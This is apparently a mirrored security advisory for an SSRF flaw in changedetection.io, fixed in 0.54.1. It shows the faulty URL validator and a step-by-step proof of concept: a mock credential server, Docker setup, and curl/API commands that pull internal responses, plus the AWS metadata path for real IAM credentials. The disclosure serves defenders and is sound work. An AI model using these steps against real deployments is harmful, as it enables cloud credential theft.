changedetection-io
Affected
- introduced
0, fixed0.54.1(ecosystem)
Fixed versions
0.54.1
Fix
- Fixed version
0.54.1pip install --upgrade changedetection-io==0.54.1
Advisory
Also known as: CVE-2026-27696, PYSEC-2026-2126
changedetection.io is Vulnerable to SSRF via Watch URLs
Summary
Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function is_safe_valid_url() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:
http://169.254.169.254http://10.0.0.1/http://127.0.0.1/The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.
This is particularly severe because:
169.254.169.254 returns real IAM credentials---
Details
The URL validation function is_safe_valid_url() in changedetectionio/validate_url.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:
# changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):
safe_protocol_regex = '^(http|https|ftp):'
# Check protocol
pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
if not pattern.match(test_url.strip()):
return False
# Check URL format
if not validators.url(test_url, simple_host=True):
return False
return True # No IP address validation performed
The HTTP fetcher in changedetectionio/content_fetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:
# changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
url=url, # User-provided URL, no IP validation
headers=request_headers,
timeout=timeout,
proxies=proxies,
verify=False)
The response content is stored and made available to the user:
# changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text # Text content stored
self.raw_content = r.content # Raw bytes stored
This validation gap exists in all entry points that accept watch URLs:
changedetectionio/store/__init__.py:718changedetectionio/api/watch.py:163, 428changedetectionio/api/import.py:188All use the same is_safe_valid_url() function, so a single fix addresses all paths.
---
PoC
Prerequisites
Step 1: Deploy changedetection.io with an internal service
Create internal-service.py:
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({
'Code': 'Success',
'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
}).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()
Create Dockerfile.internal:
FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]
Create docker-compose.yml:
version: "3.8"
services:
changedetection:
image: ghcr.io/dgtlmoon/changedetection.io
ports:
- "5000:5000"
volumes:
- ./datastore:/datastore
internal-service:
build:
context: .
dockerfile: Dockerfile.internal
Start the stack:
docker compose up -d
Step 2: Add a watch for the internal service
Open http://localhost:5000/ in a browser (no password required by default).
In the URL field, enter:
http://internal-service/
Click Watch and wait for the first check to complete.
Step 3: View the exfiltrated data
Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
<img width="2291" height="780" alt="Screenshot 2026-02-16 084212" src="https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd" />
Step 4: Verify via API (alternative)
# Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")
# Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
-H "x-api-key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-service/"}')
WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"
# Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30
# Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
-H "x-api-key: $API_KEY" | \
python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")
echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
-H "x-api-key: $API_KEY"
Expected output — the internal service’s response containing simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
In a real cloud deployment, replacing http://internal-service/ with:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
would return real AWS IAM credentials.
<img width="1140" height="607" alt="Screenshot 2026-02-16 084407" src="https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45" />
---
Impact
Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.
What an attacker can do:
High Basis: The source's own band: HIGH
0, fixed 0.54.1 (ecosystem)0.54.1
0.54.1pip install --upgrade changedetection-io==0.54.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0